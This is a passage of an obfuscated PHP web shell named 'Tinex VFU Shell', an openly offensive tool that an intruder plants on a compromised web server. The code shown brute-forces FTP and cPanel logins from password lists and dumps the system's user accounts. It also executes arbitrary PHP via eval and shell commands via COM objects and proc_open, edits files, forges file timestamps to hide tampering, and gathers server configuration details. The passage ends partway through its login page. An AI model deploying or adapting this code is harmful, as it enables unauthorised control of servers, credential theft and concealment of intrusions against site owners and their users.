"\xd\12\x3c\57\x74\145\x78\164\x61\162\x65\141\x3e\15\xa\74\x74\145\x78\164\x61\162\x65\141\x20\162\x6f\167\x73\75\x27\62\x30\47\x20\156\x61\155\x65\75\x27\160\x61\163\x73\167\x6f\162\x64\163\x27\40\x63\157\x6c\163\x3d\47\x32\65\x27\40\x73\164\x79\154\x65\75\x27\142\x6f\162\x64\145\x72\72\x20\62\x70\170\x20\163\x6f\154\x69\144\x20\43\x31\104\x31\104\x31\104\x3b\40\x62\141\x63\153\x67\162\x6f\165\x6e\144\x2d\143\x6f\154\x6f\162\x3a\40\x23\60\x30\60\x30\60\x30\73\x20\143\x6f\154\x6f\162\x3a\43\x43\60\x43\60\x43\60\x27\76$passlist\x3c\57\x74\145\x78\164\x61\162\x65\141\x3e\74\x62\162\x3e\15\xa\74\x62\162\x3e\15\xa\74\x62\76\x4f\160\x74\151\x6f\156\x73\40\x3a\40\x3c\57\x73\160\x61\156\x3e\74\x69\156\x70\165\x74\40\x6e\141\x6d\145\x3d\47\x6f\160\x74\151\x6f\156\x27\40\x76\141\x6c\165\x65\75\x27\143\x70\141\x6e\145\x6c\47\x20\163\x74\171\x6c\145\x3d\47\x66\157\x6e\164\x2d\167\x65\151\x67\150\x74\72\x20\67\x30\60\x3b\47\x20\143\x68\145\x63\153\x65\144\x20\164\x79\160\x65\75\x27\162\x61\144\x69\157\x27\76\x20\143\x50\141\x6e\145\x6c\15\xa\74\x69\156\x70\165\x74\40\x6e\141\x6d\145\x3d\47\x6f\160\x74\151\x6f\156\x27\40\x76\141\x6c\165\x65\75\x27\146\x74\160\x27\40\x73\164\x79\154\x65\75\x27\146\x6f\156\x74\55\x77\145\x69\147\x68\164\x3a\40\x37\60\x30\73\x27\40\x74\171\x70\145\x3d\47\x72\141\x64\151\x6f\47\x3e\40\x66\164\x70\40\x3d\75\x3e\40\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\x27\163\x75\142\x6d\151\x74\47\x20\166\x61\154\x75\145\x3d\47\x41\164\x74\141\x63\153\x27\40\x6e\141\x6d\145\x3d\47\x73\165\x62\155\x69\164\x27\40\x3e\74\x2f\160\x3e\15\xa\74\x2f\164\x64\76\x3c\57\x74\162\x3e\74\x2f\164\x61\142\x6c\145\x3e\74\x2f\164\x64\76\x3c\57\x74\162\x3e\74\x2f\146\x6f\162\x6d\76\x3c\160\x20\141\x6c\151\x67\156\x3d\40\x27\154\x65\146\x74\47\x3e"; ?><?php function ftp_check($host,$user,$pass,$timeout){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x66\164\x70\72\x2f\57$host"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); curl_setopt($ch, CURLOPT_USERPWD, "$user\x3a$pass"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); if ( curl_errno($ch) == 28 ) { print "\x3c\142\x3e\40\x45\162\x72\157\x72\40\x3a\40\x43\157\x6e\156\x65\143\x74\151\x6f\156\x20\164\x69\155\x65\144\x20\157\x75\164\x20\54\x20\155\x61\153\x65\40\x63\157\x6e\146\x69\144\x65\156\x63\145\x20\141\x62\157\x75\164\x20\166\x61\154\x69\144\x61\164\x69\157\x6e\40\x6f\146\x20\164\x61\162\x67\145\x74\40\x21\74\x2f\142\x3e"; exit;} elseif ( curl_errno($ch) == 0 ){ p("\x3c\142\x3e\133\x20\141\x74\164\x61\143\x6b\100\x76\142\x61\164\x65\141\x6d\56\x6e\145\x74\40\x5d\43\x20\74\x2f\142\x3e\15\xa\15\xa\74\x62\76\x20\101\x74\164\x61\143\x6b\151\x6e\147\x20\150\x61\163\x20\142\x65\145\x6e\40\x64\157\x6e\145\x21\40\x55\163\x65\162\x6e\141\x6d\145\x3a\40\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x27\43\x46\106\x30\60\x30\60\x27\76\x20$user\x20\74\x2f\146\x6f\156\x74\76\x20\57\x20\120\x61\163\x73\167\x6f\162\x64\72\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x27\43\x46\106\x30\60\x30\60\x27\76\x20$pass\x20\74\x2f\146\x6f\156\x74\76\x20\75\x3e\40\x3c\141\x20\150\x72\145\x66\75\x68\164\x74\160\x3a\57\x2f$user\x3a$pass\x40$host\x3a\62\x30\70\x32\40\x74\141\x72\147\x65\164\x3d\137\x62\154\x61\156\x6b\76\x4c\157\x67\151\x6e\74\x2f\141\x3e\74\x2f\142\x3e\74\x62\162\x3e"); } curl_close($ch);} function cpanel_check($host,$user,$pass,$timeout){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x68\164\x74\160\x3a\57\x2f$host\x3a\62\x30\70\x32"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "$user\x3a$pass"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_FAILONERROR, 1); $data = curl_exec($ch); if ( curl_errno($ch) == 28 ) { print "\x3c\142\x3e\40\x45\162\x72\157\x72\40\x3a\40\x43\157\x6e\156\x65\143\x74\151\x6f\156\x20\164\x69\155\x65\144\x20\157\x75\164\x20\54\x20\155\x61\153\x65\40\x63\157\x6e\146\x69\144\x65\156\x63\145\x20\141\x62\157\x75\164\x20\166\x61\154\x69\144\x61\164\x69\157\x6e\40\x6f\146\x20\164\x61\162\x67\145\x74\40\x21\74\x2f\142\x3e"; exit;} elseif ( curl_errno($ch) == 0 ){ p("\x3c\142\x3e\133\x20\141\x74\164\x61\143\x6b\100\x76\142\x61\164\x65\141\x6d\56\x6e\145\x74\40\x5d\43\x20\74\x2f\142\x3e\74\x62\76\x41\164\x74\141\x63\153\x69\156\x67\40\x68\141\x73\40\x62\145\x65\156\x20\144\x6f\156\x65\41\x3c\57\x61\76\x20\125\x73\145\x72\156\x61\155\x65\72\x20\74\x66\157\x6e\164\x20\143\x6f\154\x6f\162\x3d\47\x23\106\x46\60\x30\60\x30\47\x3e\40$user\x20\74\x2f\146\x6f\156\x74\76\x20\57\x20\120\x61\163\x73\167\x6f\162\x64\72\x3c\146\x6f\156\x74\40\x63\157\x6c\157\x72\75\x27\43\x46\106\x30\60\x30\60\x27\76\x20$pass\x20\74\x2f\146\x6f\156\x74\76\x3c\57\x62\76\x3c\142\x72\76");}curl_close($ch);} if(isset($submit) && !empty($submit)){ $userlist = explode ("\n" , $users ); $passlist = explode ("\n" , $pass ); p("\x3c\142\x3e\133\x20\141\x74\164\x61\143\x6b\100\x76\142\x61\164\x65\141\x6d\56\x6e\145\x74\40\x5d\43\x20\101\x74\164\x61\143\x6b\151\x6e\147\x20\56\x2e\56\x3c\57\x66\157\x6e\164\x3e\74\x2f\142\x3e\74\x62\162\x3e"); foreach ($userlist as $user) { $_user = trim($user); foreach ($passlist as $password ) { $_pass = trim($password); if($option == "\x66\164\x70"){ ftp_check($target,$_user,$_pass,$connect_timeout); } if ($option == "\x63\160\x61\156\x65\154") { cpanel_check($target,$_user,$_pass,$connect_timeout); } } } } formfoot(); } elseif ($action == "\x65\164\x63\160\x77\144") { formhead(array("\x74\151\x74\154\x65"=>"\x47\145\x74\40\x2f\145\x74\143\x2f\160\x61\163\x73\167\x64")); makehide("\x61\143\x74\151\x6f\156","\x65\164\x63\160\x77\144"); makehide("\x64\151\x72",$nowpath); $i = 0; echo "\x3c\160\x3e\74\x62\162\x3e\74\x74\145\x78\164\x61\162\x65\141\x20\143\x6c\141\x73\163\x3d\"\141\x72\145\x61\"\40\x69\144\x3d\"\160\x68\160\x63\157\x64\145\x78\170\x78\"\40\x6e\141\x6d\145\x3d\"\160\x68\160\x63\157\x64\145\x78\170\x78\"\40\x63\157\x6c\163\x3d\"\61\x30\60\"\x20\162\x6f\167\x73\75\"\x32\65\"\x3e"; while ($i < 60000) { $line = posix_getpwuid($i); if (!empty($line)) { while (list ($key, $vba_etcpwd) = each($line)){ echo "".$vba_etcpwd."\n"; break; } } $i++; } echo "\x3c\57\x74\145\x78\164\x61\162\x65\141\x3e\74\x2f\160\x3e"; formfoot(); } elseif ($action == "\x65\166\x61\154") { $phpcode = trim($phpcode); if($phpcode){ if (!preg_match("\x23\74\x5c\77\x23\163\x69", $phpcode)) { $phpcode = "\x3c\77\x70\150\x70\n\n{$phpcode}\n\n\x3f\76"; } eval("\x3f"."\x3e$phpcode\x3c\77"); } formhead(array("\x74\151\x74\154\x65"=>"\x45\166\x61\154\x20\120\x48\120\x20\103\x6f\144\x65")); makehide("\x61\143\x74\151\x6f\156","\x65\166\x61\154"); maketext(array("\x74\151\x74\154\x65"=>"\x50\110\x50\40\x43\157\x64\145","\x6e\141\x6d\145"=>"\x70\150\x70\143\x6f\144\x65", "\x76\141\x6c\165\x65"=>$phpcode)); p("\x3c\160\x3e\74\x61\40\x68\162\x65\146\x3d\42\x68\164\x74\160\x3a\57\x2f\167\x77\167\x2e\64\x6e\147\x65\154\x2e\156\x65\164\x2f\160\x68\160\x73\160\x79\57\x70\154\x75\147\x69\156\x2f\42\x20\164\x61\162\x67\145\x74\75\x22\137\x62\154\x61\156\x6b\42\x3e\107\x65\164\x20\160\x6c\165\x67\151\x6e\163\x3c\57\x61\76\x3c\57\x70\76"); formfooter(); } elseif ($action == "\x65\144\x69\164\x66\151\x6c\145") { if(file_exists($opfile)) { $fp=@fopen($opfile,"\x72"); $contents=@fread($fp, filesize($opfile)); @fclose($fp); $contents=htmlspecialchars($contents); } formhead(array("\x74\151\x74\154\x65"=>"\x43\162\x65\141\x74\145\x20\57\x20\105\x64\151\x74\40\x46\151\x6c\145")); makehide("\x61\143\x74\151\x6f\156","\x66\151\x6c\145"); makehide("\x64\151\x72",$nowpath); makeinput(array("\x74\151\x74\154\x65"=>"\x43\165\x72\162\x65\156\x74\40\x46\151\x6c\145\x20\50\x69\155\x70\157\x72\164\x20\156\x65\167\x20\146\x69\154\x65\40\x6e\141\x6d\145\x20\141\x6e\144\x20\156\x65\167\x20\146\x69\154\x65\51","\x6e\141\x6d\145"=>"\x65\144\x69\164\x66\151\x6c\145\x6e\141\x6d\145","\x76\141\x6c\165\x65"=>$opfile,"\x6e\145\x77\154\x69\156\x65"=>1)); maketext(array("\x74\151\x74\154\x65"=>"\x46\151\x6c\145\x20\103\x6f\156\x74\145\x6e\164","\x6e\141\x6d\145"=>"\x66\151\x6c\145\x63\157\x6e\164\x65\156\x74","\x76\141\x6c\165\x65"=>$contents)); formfooter(); } elseif ($action == "\x6e\145\x77\164\x69\155\x65") { $opfilemtime = @filemtime($opfile); $cachemonth = array("\x4a\141\x6e\165\x61\162\x79"=>1,"\x46\145\x62\162\x75\141\x72\171"=>2,"\x4d\141\x72\143\x68"=>3,"\x41\160\x72\151\x6c"=>4,"\x4d\141\x79"=>5,"\x4a\165\x6e\145"=>6,"\x4a\165\x6c\171"=>7,"\x41\165\x67\165\x73\164"=>8,"\x53\145\x70\164\x65\155\x62\145\x72"=>9,"\x4f\143\x74\157\x62\145\x72"=>10,"\x4e\157\x76\145\x6d\142\x65\162"=>11,"\x44\145\x63\145\x6d\142\x65\162"=>12); formhead(array("\x74\151\x74\154\x65"=>"\x43\154\x6f\156\x65\40\x66\151\x6c\145\x20\167\x61\163\x20\154\x61\163\x74\40\x6d\157\x64\151\x66\151\x65\144\x20\164\x69\155\x65")); makehide("\x61\143\x74\151\x6f\156","\x66\151\x6c\145"); makehide("\x64\151\x72",$nowpath); makeinput(array("\x74\151\x74\154\x65"=>"\x41\154\x74\145\x72\40\x66\151\x6c\145","\x6e\141\x6d\145"=>"\x63\165\x72\146\x69\154\x65","\x76\141\x6c\165\x65"=>$opfile,"\x73\151\x7a\145"=>120,"\x6e\145\x77\154\x69\156\x65"=>1)); makeinput(array("\x74\151\x74\154\x65"=>"\x52\145\x66\145\x72\145\x6e\143\x65\40\x66\151\x6c\145\x20\50\x66\165\x6c\154\x70\141\x74\150\x29","\x6e\141\x6d\145"=>"\x74\141\x72\146\x69\154\x65","\x73\151\x7a\145"=>120,"\x6e\145\x77\154\x69\156\x65"=>1)); formfooter(); formhead(array("\x74\151\x74\154\x65"=>"\x53\145\x74\40\x6c\141\x73\164\x20\155\x6f\144\x69\146\x69\145\x64")); makehide("\x61\143\x74\151\x6f\156","\x66\151\x6c\145"); makehide("\x64\151\x72",$nowpath); makeinput(array("\x74\151\x74\154\x65"=>"\x43\165\x72\162\x65\156\x74\40\x66\151\x6c\145\x20\50\x66\165\x6c\154\x70\141\x74\150\x29","\x6e\141\x6d\145"=>"\x63\165\x72\146\x69\154\x65","\x76\141\x6c\165\x65"=>$opfile,"\x73\151\x7a\145"=>120,"\x6e\145\x77\154\x69\156\x65"=>1)); p("\x3c\160\x3e\111\x6e\163\x74\145\x61\144\x20\46\x72\141\x71\165\x6f\73"); p("\x79\145\x61\162\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x79\145\x61\162","\x76\141\x6c\165\x65"=>date("\x59",$opfilemtime),"\x73\151\x7a\145"=>4)); p("\x6d\157\x6e\164\x68\72"); makeinput(array("\x6e\141\x6d\145"=>"\x6d\157\x6e\164\x68","\x76\141\x6c\165\x65"=>date("\x6d",$opfilemtime),"\x73\151\x7a\145"=>2)); p("\x64\141\x79\72"); makeinput(array("\x6e\141\x6d\145"=>"\x64\141\x79","\x76\141\x6c\165\x65"=>date("\x64",$opfilemtime),"\x73\151\x7a\145"=>2)); p("\x68\157\x75\162\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x68\157\x75\162","\x76\141\x6c\165\x65"=>date("\x48",$opfilemtime),"\x73\151\x7a\145"=>2)); p("\x6d\151\x6e\165\x74\145\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x6d\151\x6e\165\x74\145","\x76\141\x6c\165\x65"=>date("\x69",$opfilemtime),"\x73\151\x7a\145"=>2)); p("\x73\145\x63\157\x6e\144\x3a"); makeinput(array("\x6e\141\x6d\145"=>"\x73\145\x63\157\x6e\144","\x76\141\x6c\165\x65"=>date("\x73",$opfilemtime),"\x73\151\x7a\145"=>2)); p("\x3c\57\x70\76"); formfooter(); } elseif ($action == "\x73\150\x65\154\x6c") { if (IS_WIN && IS_COM) { if($program && $parameter) { $shell= new COM("\x53\150\x65\154\x6c\56\x41\160\x70\154\x69\143\x61\164\x69\157\x6e"); $a = $shell->ShellExecute($program,$parameter); m("\x50\162\x6f\147\x72\141\x6d\40\x72\165\x6e\40\x68\141\x73\40".(!$a ? "\x73\165\x63\143\x65\163\x73" : "\x66\141\x69\154")); } !$program && $program = "\x63\72\x5c\167\x69\156\x64\157\x77\163\x5c\163\x79\163\x74\145\x6d\63\x32\134\x63\155\x64\56\x65\170\x65"; !$parameter && $parameter = "\x2f\143\x20\156\x65\164\x20\163\x74\141\x72\164\x20\76\x20".SA_ROOT."\x6c\157\x67\56\x74\170\x74"; formhead(array("\x74\151\x74\154\x65"=>"\x45\170\x65\143\x75\164\x65\40\x50\162\x6f\147\x72\141\x6d")); makehide("\x61\143\x74\151\x6f\156","\x73\150\x65\154\x6c"); makeinput(array("\x74\151\x74\154\x65"=>"\x50\162\x6f\147\x72\141\x6d","\x6e\141\x6d\145"=>"\x70\162\x6f\147\x72\141\x6d","\x76\141\x6c\165\x65"=>$program,"\x6e\145\x77\154\x69\156\x65"=>1)); p("\x3c\160\x3e"); makeinput(array("\x74\151\x74\154\x65"=>"\x50\141\x72\141\x6d\145\x74\145\x72","\x6e\141\x6d\145"=>"\x70\141\x72\141\x6d\145\x74\145\x72","\x76\141\x6c\165\x65"=>$parameter)); makeinput(array("\x6e\141\x6d\145"=>"\x73\165\x62\155\x69\164","\x63\154\x61\163\x73"=>"\x62\164","\x74\171\x70\145"=>"\x73\165\x62\155\x69\164","\x76\141\x6c\165\x65"=>"\x45\170\x65\143\x75\164\x65")); p("\x3c\57\x70\76"); formfoot(); } formhead(array("\x74\151\x74\154\x65"=>"\x45\170\x65\143\x75\164\x65\40\x43\157\x6d\155\x61\156\x64")); makehide("\x61\143\x74\151\x6f\156","\x73\150\x65\154\x6c"); if (IS_WIN && IS_COM) { $execfuncdb = array("\x70\150\x70\146\x75\156\x63"=>"\x70\150\x70\146\x75\156\x63","\x77\163\x63\162\x69\160\x74"=>"\x77\163\x63\162\x69\160\x74","\x70\162\x6f\143\x5f\157\x70\145\x6e"=>"\x70\162\x6f\143\x5f\157\x70\145\x6e"); makeselect(array("\x74\151\x74\154\x65"=>"\x55\163\x65\72","\x6e\141\x6d\145"=>"\x65\170\x65\143\x66\165\x6e\143","\x6f\160\x74\151\x6f\156"=>$execfuncdb,"\x73\145\x6c\145\x63\164\x65\144"=>$execfunc,"\x6e\145\x77\154\x69\156\x65"=>1)); } p("\x3c\160\x3e"); makeinput(array("\x74\151\x74\154\x65"=>"\x43\157\x6d\155\x61\156\x64","\x6e\141\x6d\145"=>"\x63\157\x6d\155\x61\156\x64","\x76\141\x6c\165\x65"=>$command)); makeinput(array("\x6e\141\x6d\145"=>"\x73\165\x62\155\x69\164","\x63\154\x61\163\x73"=>"\x62\164","\x74\171\x70\145"=>"\x73\165\x62\155\x69\164","\x76\141\x6c\165\x65"=>"\x45\170\x65\143\x75\164\x65")); p("\x3c\57\x70\76"); formfoot(); if ($command) { p("\x3c\150\x72\40\x77\151\x64\164\x68\75\x22\61\x30\60\x25\42\x20\156\x6f\163\x68\141\x64\145\x20\57\x3e\74\x70\162\x65\76"); if ($execfunc=="\x77\163\x63\162\x69\160\x74" && IS_WIN && IS_COM) { $wsh = new COM("\x57\123\x63\162\x69\160\x74\56\x73\150\x65\154\x6c"); $exec = $wsh->exec("\x63\155\x64\56\x65\170\x65\40\x2f\143\x20".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; } elseif ($execfunc=="\x70\162\x6f\143\x5f\157\x70\145\x6e" && IS_WIN && IS_COM) { $descriptorspec = array( 0 => array("\x70\151\x70\145", "\x72"), 1 => array("\x70\151\x70\145", "\x77"), 2 => array("\x70\151\x70\145", "\x77") ); $process = proc_open($_SERVER["\x43\117\x4d\123\x50\105\x43"], $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], $command."\r\n"); fwrite($pipes[0], "\x65\170\x69\164\r\n"); fclose($pipes[0]); while (!feof($pipes[1])) { echo fgets($pipes[1], 1024); } fclose($pipes[1]); while (!feof($pipes[2])) { echo fgets($pipes[2], 1024); } fclose($pipes[2]); proc_close($process); } } else { echo(execute($command)); } p("\x3c\57\x70\162\x65\76"); } } elseif ($action == "\x70\150\x70\145\x6e\166") { $upsize=getcfg("\x66\151\x6c\145\x5f\165\x70\154\x6f\141\x64\163") ? getcfg("\x75\160\x6c\157\x61\144\x5f\155\x61\170\x5f\146\x69\154\x65\163\x69\172\x65") : "\x4e\157\x74\40\x61\154\x6c\157\x77\145\x64"; $adminmail=isset($_SERVER["\x53\105\x52\126\x45\122\x5f\101\x44\115\x49\116"]) ? $_SERVER["\x53\105\x52\126\x45\122\x5f\101\x44\115\x49\116"] : getcfg("\x73\145\x6e\144\x6d\141\x69\154\x5f\146\x72\157\x6d"); !$dis_func && $dis_func = "\x4e\157"; $info = array( 1 => array("\x53\145\x72\166\x65\162\x20\124\x69\155\x65",date("\x59\57\x6d\57\x64\40\x68\72\x69\72\x73",$timestamp)), 2 => array("\x53\145\x72\166\x65\162\x20\104\x6f\155\x61\151\x6e",$_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\115\x45"]), 3 => array("\x53\145\x72\166\x65\162\x20\111\x50",gethostbyname($_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\115\x45"])), 4 => array("\x53\145\x72\166\x65\162\x20\117\x53",PHP_OS), 5 => array("\x53\145\x72\166\x65\162\x20\117\x53\40\x43\150\x61\162\x73\145\x74",$_SERVER["\x48\124\x54\120\x5f\101\x43\103\x45\120\x54\137\x4c\101\x4e\107\x55\101\x47\105"]), 6 => array("\x53\145\x72\166\x65\162\x20\123\x6f\146\x74\167\x61\162\x65",$_SERVER["\x53\105\x52\126\x45\122\x5f\123\x4f\106\x54\127\x41\122\x45"]), 7 => array("\x53\145\x72\166\x65\162\x20\127\x65\142\x20\120\x6f\162\x74",$_SERVER["\x53\105\x52\126\x45\122\x5f\120\x4f\122\x54"]), 8 => array("\x50\110\x50\40\x72\165\x6e\40\x6d\157\x64\145",strtoupper(php_sapi_name())), 9 => array("\x54\150\x65\40\x66\151\x6c\145\x20\160\x61\164\x68",__FILE__), 10 => array("\x50\110\x50\40\x56\145\x72\163\x69\157\x6e",PHP_VERSION), 11 => array("\x50\110\x50\111\x4e\106\x4f",(IS_PHPINFO ? "\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x67\157\x61\143\x74\151\x6f\156\x28\134\x27\160\x68\160\x69\156\x66\157\x5c\47\x29\73\x22\76\x59\145\x73\74\x2f\141\x3e" : "\x4e\157")), 12 => array("\x53\141\x66\145\x20\115\x6f\144\x65",getcfg("\x73\141\x66\145\x5f\155\x6f\144\x65")), 13 => array("\x41\144\x6d\151\x6e\151\x73\164\x72\141\x74\157\x72",$adminmail), 14 => array("\x61\154\x6c\157\x77\137\x75\162\x6c\137\x66\157\x70\145\x6e",getcfg("\x61\154\x6c\157\x77\137\x75\162\x6c\137\x66\157\x70\145\x6e")), 15 => array("\x65\156\x61\142\x6c\145\x5f\144\x6c",getcfg("\x65\156\x61\142\x6c\145\x5f\144\x6c")), 16 => array("\x64\151\x73\160\x6c\141\x79\137\x65\162\x72\157\x72\163",getcfg("\x64\151\x73\160\x6c\141\x79\137\x65\162\x72\157\x72\163")), 17 => array("\x72\145\x67\151\x73\164\x65\162\x5f\147\x6c\157\x62\141\x6c\163",getcfg("\x72\145\x67\151\x73\164\x65\162\x5f\147\x6c\157\x62\141\x6c\163")), 18 => array("\x6d\141\x67\151\x63\137\x71\165\x6f\164\x65\163\x5f\147\x70\143",getcfg("\x6d\141\x67\151\x63\137\x71\165\x6f\164\x65\163\x5f\147\x70\143")), 19 => array("\x6d\145\x6d\157\x72\171\x5f\154\x69\155\x69\164",getcfg("\x6d\145\x6d\157\x72\171\x5f\154\x69\155\x69\164")), 20 => array("\x70\157\x73\164\x5f\155\x61\170\x5f\163\x69\172\x65",getcfg("\x70\157\x73\164\x5f\155\x61\170\x5f\163\x69\172\x65")), 21 => array("\x75\160\x6c\157\x61\144\x5f\155\x61\170\x5f\146\x69\154\x65\163\x69\172\x65",$upsize), 22 => array("\x6d\141\x78\137\x65\170\x65\143\x75\164\x69\157\x6e\137\x74\151\x6d\145",getcfg("\x6d\141\x78\137\x65\170\x65\143\x75\164\x69\157\x6e\137\x74\151\x6d\145")."\x20\163\x65\143\x6f\156\x64\50\x73\51"), 23 => array("\x64\151\x73\141\x62\154\x65\137\x66\165\x6e\143\x74\151\x6f\156\x73",$dis_func), ); if($phpvarname) { m($phpvarname ."\x20\72\x20".getcfg($phpvarname)); } formhead(array("\x74\151\x74\154\x65"=>"\x53\145\x72\166\x65\162\x20\145\x6e\166\x69\162\x6f\156\x6d\145\x6e\164")); makehide("\x61\143\x74\151\x6f\156","\x70\150\x70\145\x6e\166"); makeinput(array("\x74\151\x74\154\x65"=>"\x50\154\x65\141\x73\145\x20\151\x6e\160\x75\164\x20\120\x48\120\x20\143\x6f\156\x66\151\x67\165\x72\141\x74\151\x6f\156\x20\160\x61\162\x61\155\x65\164\x65\162\x28\145\x67\72\x6d\141\x67\151\x63\137\x71\165\x6f\164\x65\163\x5f\147\x70\143\x29","\x6e\141\x6d\145"=>"\x70\150\x70\166\x61\162\x6e\141\x6d\145","\x76\141\x6c\165\x65"=>$phpvarname,"\x6e\145\x77\154\x69\156\x65"=>1)); formfooter(); $hp = array(0=> "\x53\145\x72\166\x65\162", 1=> "\x50\110\x50"); for($a=0;$a<2;$a++) { p("\x3c\150\x32\76".$hp[$a]."\x20\46\x72\141\x71\165\x6f\73\x3c\57\x68\62\x3e"); p("\x3c\165\x6c\40\x63\154\x61\163\x73\75\x22\151\x6e\146\x6f\42\x3e"); if ($a==0) { for($i=1;$i<=9;$i++) { p("\x3c\154\x69\76\x3c\165\x3e".$info[$i][0]."\x3a\74\x2f\165\x3e".$info[$i][1]."\x3c\57\x6c\151\x3e"); } } elseif ($a == 1) { for($i=10;$i<=23;$i++) { p("\x3c\154\x69\76\x3c\165\x3e".$info[$i][0]."\x3a\74\x2f\165\x3e".$info[$i][1]."\x3c\57\x6c\151\x3e"); } } p("\x3c\57\x75\154\x3e"); } } else { m("\x55\156\x64\145\x66\151\x6e\145\x64\40\x41\143\x74\151\x6f\156"); } ?></td></tr></table><div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;"><span style="float:right;"><?php  debuginfo();ob_end_flush();?></span>Copyright (C) 2011-2012 <B></B> - Develop by <a href=http://vfu.cc target=_blank><B>Tinex-VFU   </B></a> - <B>- Viet Family UnderGroup</B> All Rights Reserved.</div></body></noscript><?php  function m($msg) { echo "\x3c\144\x69\166\x20\163\x74\171\x6c\145\x3d\42\x62\141\x63\153\x67\162\x6f\165\x6e\144\x3a\43\x66\61\x66\61\x66\61\x3b\142\x6f\162\x64\145\x72\72\x31\160\x78\40\x73\157\x6c\151\x64\40\x23\144\x64\144\x3b\160\x61\144\x64\151\x6e\147\x3a\61\x35\160\x78\73\x66\157\x6e\164\x3a\61\x34\160\x78\73\x74\145\x78\164\x2d\141\x6c\151\x67\156\x3a\143\x65\156\x74\145\x72\73\x66\157\x6e\164\x2d\167\x65\151\x67\150\x74\72\x62\157\x6c\144\x3b\42\x3e"; echo $msg; echo "\x3c\57\x64\151\x76\76"; } function scookie($key, $value, $life = 0, $prefix = 1) { global $admin, $timestamp, $_SERVER; $key = ($prefix ? $admin["\x63\157\x6f\153\x69\145\x70\162\x65"] : '').$key; $life = $life ? $life : $admin["\x63\157\x6f\153\x69\145\x6c\151\x66\145"]; $useport = $_SERVER["\x53\105\x52\126\x45\122\x5f\120\x4f\122\x54"] == 443 ? 1 : 0; setcookie($key, $value, $timestamp+$life, $admin["\x63\157\x6f\153\x69\145\x70\141\x74\150"], $admin["\x63\157\x6f\153\x69\145\x64\157\x6d\141\x69\156"], $useport); } function multi($num, $perpage, $curpage, $tablename) { $multipage = ''; if($num > $perpage) { $page = 10; $offset = 5; $pages = @ceil($num / $perpage); if($page > $pages) { $from = 1; $to = $pages; } else { $from = $curpage - $offset; $to = $curpage + $page - $offset - 1; if($from < 1) { $to = $curpage + 1 - $from; $from = 1; if(($to - $from) < $page && ($to - $from) < $pages) { $to = $page; } } elseif($to > $pages) { $from = $curpage - $pages + $to; $to = $pages; if(($to - $from) < $page && ($to - $from) < $pages) { $from = $pages - $page + 1; } } } $multipage = ($curpage - $offset > 1 && $pages > $page ? "\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x73\145\x74\164\x61\142\x6c\145\x28\134\x27".$tablename."\x5c\47\x2c\40\x5c\47\x5c\47\x2c\40\x31\51\x3b\42\x3e\106\x69\162\x73\164\x3c\57\x61\76\x20" : '').($curpage > 1 ? "\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x73\145\x74\164\x61\142\x6c\145\x28\134\x27".$tablename."\x5c\47\x2c\40\x5c\47\x5c\47\x2c\40".($curpage - 1)."\x29\73\x22\76\x50\162\x65\166\x3c\57\x61\76\x20" : ''); for($i = $from; $i <= $to; $i++) { $multipage .= $i == $curpage ? $i."\x20" : "\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x73\145\x74\164\x61\142\x6c\145\x28\134\x27".$tablename."\x5c\47\x2c\40\x5c\47\x5c\47\x2c\40".$i."\x29\73\x22\76\x5b".$i."\x5d\74\x2f\141\x3e\40"; } $multipage .= ($curpage < $pages ? "\x3c\141\x20\150\x72\145\x66\75\x22\152\x61\166\x61\163\x63\162\x69\160\x74\72\x73\145\x74\164\x61\142\x6c\145\x28\134\x27".$tablename."\x5c\47\x2c\40\x5c\47\x5c\47\x2c\40".($curpage + 1)."\x29\73\x22\76\x4e\145\x78\164\x3c\57\x61\76" : '').($to < $pages ? "\x20\74\x61\40\x68\162\x65\146\x3d\42\x6a\141\x76\141\x73\143\x72\151\x70\164\x3a\163\x65\164\x74\141\x62\154\x65\50\x5c\47".$tablename."\x5c\47\x2c\40\x5c\47\x5c\47\x2c\40".$pages."\x29\73\x22\76\x4c\141\x73\164\x3c\57\x61\76" : ''); $multipage = $multipage ? "\x3c\160\x3e\120\x61\147\x65\163\x3a\40".$multipage."\x3c\57\x70\76" : ''; } return $multipage; } function loginpage() { ?><html><head><body bgcolor=black background=1.jpg><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>.::[  Tinex VFU Shell ]::. </title><style type="text/css">A:link {text-decoration: none; color: green }A:visited {text-decoration: none;color:red}A:active {text-decoration: none}A:hover {text-decoration: underline; color: green;}input, textarea, button{font-size: 11pt;color: #FFFFFF;font-family: verdana, sans-serif;background-color: #000000;border-left: 2px dashed #8B0000;border-top: 2px dashed #8B0000;border-right: 2px dashed #8B0000;border-bottom: 2px dashed #8B0000;}</style>       <BR><BR><div align=center ><div><font color=gray><br /><br /><br /><br /><br /><form method="POST" action=""><span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30"><input 